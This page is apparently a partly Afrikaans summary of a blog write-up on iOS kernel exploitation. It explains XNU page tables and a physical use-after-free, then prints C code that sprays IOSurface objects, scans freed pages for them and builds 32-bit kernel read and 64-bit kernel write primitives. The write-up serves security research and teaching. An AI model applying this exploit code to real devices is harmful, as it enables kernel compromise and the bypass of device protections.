iOS Exploiting

Fisiese gebruik-na-vry

Dit is 'n opsomming van die pos van https://alfiecg.uk/2024/09/24/Kernel-exploit.html verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in https://github.com/felix-pb/kfd

Geheuebestuur in XNU

Die virtuele geheue-adresruimte vir gebruikersprosesse op iOS strek van 0x0 tot 0x8000000000. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die kernel bladsytabelle om virtuele adresse in werklike fisiese adresse te vertaal.

Vlakke van Bladsytabelle in iOS

Bladsytabelle is hiërargies in drie vlakke georganiseer:

  1. L1 Bladsy Tabel (Vlak 1):

  • Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.

  • Dit dek 0x1000000000 bytes (of 256 GB) van virtuele geheue.

  1. L2 Bladsy Tabel (Vlak 2):

  • 'n Inskrywing hier verteenwoordig 'n kleiner gebied van virtuele geheue, spesifiek 0x2000000 bytes (32 MB).

  • 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele gebied self kan kaart nie.

  1. L3 Bladsy Tabel (Vlak 3):

  • Dit is die fynste vlak, waar elke inskrywing 'n enkele 4 KB geheuebladsy kaart.

  • 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.

Kaarting van Virtuele na Fisiese Geheue

  • Direkte Kaarting (Blok Kaarting):

  • Sommige inskrywings in 'n bladsy tabel kaart direk 'n reeks van virtuele adresse na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).

  • Wys na Kind Bladsy Tabel:

  • As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n kind bladsy tabel op die volgende vlak (bv. L2) verwys.

Voorbeeld: Kaarting van 'n Virtuele Adres

Kom ons sê jy probeer om die virtuele adres 0x1000000000 te benader:

  1. L1 Tabel:

  • Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n wys na 'n L2 bladsy tabel het, gaan dit na daardie L2 tabel.

  1. L2 Tabel:

  • Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n L3 bladsy tabel verwys, gaan dit daar voort.

  1. L3 Tabel:

  • Die kernel soek die finale L3 inskrywing, wat na die fisiese adres van die werklike geheuebladsy verwys.

Voorbeeld van Adres Kaarting

As jy die fisiese adres 0x800004000 in die eerste indeks van die L2 tabel skryf, dan:

  • Virtuele adresse van 0x1000000000 tot 0x1002000000 kaart na fisiese adresse van 0x800004000 tot 0x802004000.

  • Dit is 'n blok kaarting op die L2 vlak.

Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:

  • Elke 4 KB bladsy in die virtuele adres reeks 0x1000000000 -> 0x1002000000 sal deur individuele inskrywings in die L3 tabel gekaart word.

Fisiese gebruik-na-vry

'n Fisiese gebruik-na-vry (UAF) gebeur wanneer:

  1. 'n Proses toewys 'n bietjie geheue as leesbaar en skryfbaar.

  2. Die bladsytabelle word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan benader.

  3. Die proses deallocate (vry) die geheue.

  4. Maar, as gevolg van 'n fout, vergeet die kernel om die kaarting uit die bladsytabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.

  5. Die kernel kan dan hierdie "vrygestelde" fisiese geheue vir ander doeleindes hertoewys, soos kernel data.

  6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds lees en skryf na hierdie fisiese geheue.

Dit beteken die proses kan toegang verkry tot bladsye van kernel geheue, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om kernel geheue te manipuleer.

Ontginning Strategie: Heap Spray

Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygestelde geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd heap spray:

  1. Die aanvaller skep 'n groot aantal IOSurface-objekte in kernel geheue.

  2. Elke IOSurface-objek bevat 'n magiese waarde in een van sy velde, wat dit maklik maak om te identifiseer.

  3. Hulle skandeer die vrygestelde bladsye om te sien of enige van hierdie IOSurface-objekte op 'n vrygestelde bladsy beland het.

  4. Wanneer hulle 'n IOSurface-objek op 'n vrygestelde bladsy vind, kan hulle dit gebruik om te lees en te skryf na kernel geheue.

Meer inligting hieroor in https://github.com/felix-pb/kfd/tree/main/writeups

Stap-vir-Stap Heap Spray Proses

  1. Spray IOSurface-objekte: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").

  2. Skandeer Vrygestelde Bladsye: Hulle kyk of enige van die objekke op 'n vrygestelde bladsy toegeken is.

  3. Lees/Skryf Kernel Geheue: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om arbitraire lees en skryf in kernel geheue uit te voer. Dit laat hulle toe:

  • Gebruik een veld om enige 32-bis waarde in kernel geheue te lees.

  • Gebruik 'n ander veld om 64-bis waardes te skryf, wat 'n stabiele kernel lees/skryf primitief bereik.

Genereer IOSurface-objekte met die magiese waarde IOSURFACE_MAGIC om later vir te soek:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Soek na IOSurface-objekte in een vrygemaakte fisiese bladsy:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Bereik Kernel Lees/Skryf met IOSurface

Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir arbitraire kernel lees en skryf operasies.

Belangrike Velde in IOSurface

Die IOSurface objek het twee belangrike velde:

  1. Gebruik Tel Punter: Laat 'n 32-bit lees toe.

  2. Geverifieerde Tydstempel Punter: Laat 'n 64-bit skryf toe.

Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.

32-Bit Kernel Lees

Om 'n lees uit te voer:

  1. Oorskryf die gebruik tel punter om na die teiken adres minus 'n 0x14-byte offset te wys.

  2. Gebruik die get_use_count metode om die waarde by daardie adres te lees.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Skryf

Om 'n skryf te doen:

  1. Oorskryf die geïndekseerde tydstempel-aanwyser na die teikenadres.

  2. Gebruik die set_indexed_timestamp metode om 'n 64-bit waarde te skryf.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Recap

  1. Trigger Physical Use-After-Free: Vrye bladsye is beskikbaar vir hergebruik.

  2. Spray IOSurface Objects: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.

  3. Identify Accessible IOSurface: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.

  4. Abuse Use-After-Free: Wysig wysers in die IOSurface-objek om arbitrêre kernel read/write via IOSurface-metodes moontlik te maak.

With these primitives, the exploit provides controlled 32-bit reads and 64-bit writes to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).

Last updated